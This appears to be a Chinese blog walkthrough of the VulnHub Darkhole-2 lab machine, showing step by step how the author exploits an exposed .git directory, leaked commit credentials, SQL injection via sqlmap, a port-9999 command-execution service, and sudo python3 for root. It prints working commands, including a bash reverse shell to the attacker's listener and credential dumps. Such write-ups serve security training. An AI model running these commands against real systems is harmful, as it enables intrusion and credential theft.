渗透测试练习No.14 .git信息泄漏利用

1,193 阅读3分钟

**声明:**文章来自作者日常学习笔记,请勿利用文章内的相关技术从事非法测试,如因此产生的一切不良后果与文章作者和本公众号无关。仅供学习研究


靶机信息

靶机名称:    Darkhole-2

下载地址:

 https://www.vulnhub.com/entry/darkhole-2,740/

难度: 难

发布时间: 2021年9月3日

提示信息:

 Hint: Don't waste your time For Brute-Force
 提示: 不要浪费你的时间去使用蛮力
 *****此靶机请使用VMware虚拟机*****

实验环境

 攻击机:VBox    kali    192.168.7.3
 
 靶机:VMware       linux   IP自动获取

信息收集

扫描主机

 nmap -sP 192.168.7.1/24

图片

扫描端口

 nmap -sC -sV -p- 192.168.7.102 -oN DarkHOle-2.nmap

图片

扫描到开放22端口和80端口,并且nmap扫到.git目录,现在先从80端口开始


Web渗透

 http://192.168.7.102

图片

有一个登录链接,打开看看

 http://192.168.7.102/login.php

图片

页面里有些提示,应该是开发留下测试内容,既然nmap扫描时已经提示存在.git文件夹,那我们就看一下

 http://192.168.7.102/.git

图片

简单科普一下.git文件夹是什么

git是一个开源的分布式版本管制系统开发工程师们更新代码后会将代码上传到git服务上,此时代码项目目录里会保存一个.git的目录,这个目录里面就是代码的每次更新提交的内容(说错了不要骂我)

好了现在我们已经了解.git是怎么来的,但是怎么利用呢

Git信息泄漏利用

GitHack

GitHack是专门针对.git目录泄露的利用脚本,可以还原项目提交的内容

GitHack项目地址:

https://github.com/lijiejie/GitHack/

下载GitHack

git clone https://github.com/lijiejie/GitHack.git

图片

攻击

python GitHack.py http://192.168.7.102/.git

这里需要使用pytnon2版本

图片

完成后会在当前目录下生成一个以目标地址作为名称的文件夹

ll

图片

进入看一下内容

cd 192.168.7.102
tree

图片

根目录下有4个php文件分别来看一下内容(本来是拷贝的原码,后来发现不需要代码审计就改成截图了)

index.php

图片

dashboard.php

图片

login.php

图片

logout.php

图片

config目录下还有个config.php,里面有mysql数据库的帐号和密码

<?php
$connect = new mysqli("localhost","root","","darkhole_2");

还以为是要考代码审计,分析一波后没发现有用的信息(又翻车了)

login.php文件下有sql语句但测试后不成功,那我们换一种方法处理.git"分析log/head"

git log分析

用git log命令查看提交记录从而分析旧版本中存在的漏洞,查看git log需要用到工具git-dumper

git-dumper安装

项目地址

https://github.com/arthaud/git-dumper
git clone https://github.com/arthaud/git-dumper.git
cd git-dumper
pytno3 -m pip install -r requirements.txt

图片

安装成功,现在把.git下载下来(注意,由于隔了一天靶机重启后自动获取的IP变了,后面靶机地址均为192.168.7.103)

python3 git-dumper.py http://192.168.7.103/.git/ website

图片

图片

进入website目录查看提交日志

cd website
ls
git log

图片

可以看到这里有3次提交,第2次添加了login.php,第3次变更了login.php的源码,看先第2次提交的

git diff a4d900a8d85e8938d3601f3cef113ee293028e10

图片

第2次提交的内容里有个帐号密码"lush@admin.com;321"我们拿来登录网站试试

图片


sql注入

成功登录页面上有只提交和退出按钮,url上面有个id=1,可能会存在sql注入,测试下

sqlmap

注意需要cookie才能注入,如果不带会告诉你没权限,浏览器中按右键点击检查会出现开发者工具界面,按下图在右边找到cookie

图片

sqlmap -u http://192.168.7.103/dashboard.php?id=1 --cookie PHPSESSID=sdofembta5jp49dppnqpubuvu6 --batch

图片

检查到注入点,现在查询数据库名

sqlmap -u http://192.168.7.103/dashboard.php?id=1 --cookie PHPSESSID=sdofembta5jp49dppnqpubuvu6 --batch --dbs

图片

5个数据库,很明显我们要找的是darkhole_2,开始查询表名

sqlmap -u http://192.168.7.103/dashboard.php?id=1 --cookie PHPSESSID=sdofembta5jp49dppnqpubuvu6 --batch -D darkhole_2 --tables

图片

查到两个表名,每个都看看

先查users表

sqlmap -u http://192.168.7.103/dashboard.php?id=1 --cookie PHPSESSID=sdofembta5jp49dppnqpubuvu6 --batch -D darkhole_2 -T users --dump

图片

表里只存了一条刚刚登录的帐号密码,再查ssh名,看这个名字就知道,可以用来登录ssh

sqlmap -u http://192.168.7.103/dashboard.php?id=1 --cookie PHPSESSID=sdofembta5jp49dppnqpubuvu6 --batch -D darkhole_2 -T ssh --dump

图片

user:jehad
pass:fool

暴出ssh帐号和密码了,登录ssh吧

ssh jehad@192.168.7.103

图片

SSH登录成功,来看看用户目录下面有什么

ls -l

图片

用户目录下没有flag文件一般不会出现这种情况,然后随手看了下.bash_history文件内容

cat .bash_history
netstat -ntlp

图片

图片

发现大量9999端口的操作记录,看上去明显是命令执行程序和反弹shell的命令,随后检查开放端口发现9999仍然开放的,那就来利用一下吧

curl "http://localhost:9999/?cmd=id"

图片

返回的不是root而是losy用户,那我们看看losy目录下有什么

cd /home
ls
cd /losy
ll
cat user.txt

图片

拿到losy用户flag

DarkHole{'This_is_the_life_man_better_than_a_cruise'}

刚刚切换目录时时还发现两个用户目录,查看下没有发现可利用的信息

图片


权限提升

命令执行提权

反弹SHELL

估计要我们先提权到losy权限,利用9999端口反弹shell拿losy权限

kali攻击机监听4444端口

nc -lvvp 4444

靶机执行反弹shell

http://localhost:9999/?cmd=bash -c 'bash -i >& /dev/tcp/192.168.7.3/4444 0>&1'

因为是url提交,所以需要先url编码再提交

curl "http://localhost:9999/?cmd=bash%20-c%20%27bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.7.3%2F4444%200%3E%261%27"

图片

反弹成功,切换到完整交互shell

python3 -c 'import pty;pty.spawn("/bin/bash")'
export TERM=xterm
Ctrl+Z

图片

stty -a
stty raw -echo;fg
reset

图片

stty rows 21 columns 137

图片

已经切换成完整交互shell了,刚刚在.bash_history获取到大量信息,那就继续看看losy目录下的.bash_history有什么

cd 
cat .bash_history

图片

sudo -l提权

查到类似密码的内容,还有执行过sudo -l, 让我们来试试

sudo -l
输入密码gang

图片

密码正确,可以直接用python3提权

sudo /usr/bin/python3 -c 'import os; os.system("/bin/sh")'
id
cd /root
ls
cat root.txt

图片

拿到root权限flag,游戏结束

END

这篇文章到这里就结束了,喜欢打靶的小伙伴可以关注"伏波路上学安全"微信公众号,或扫描下面二维码关注,我会持续更新打靶文章,让我们一起在打靶中学习进步吧.

图片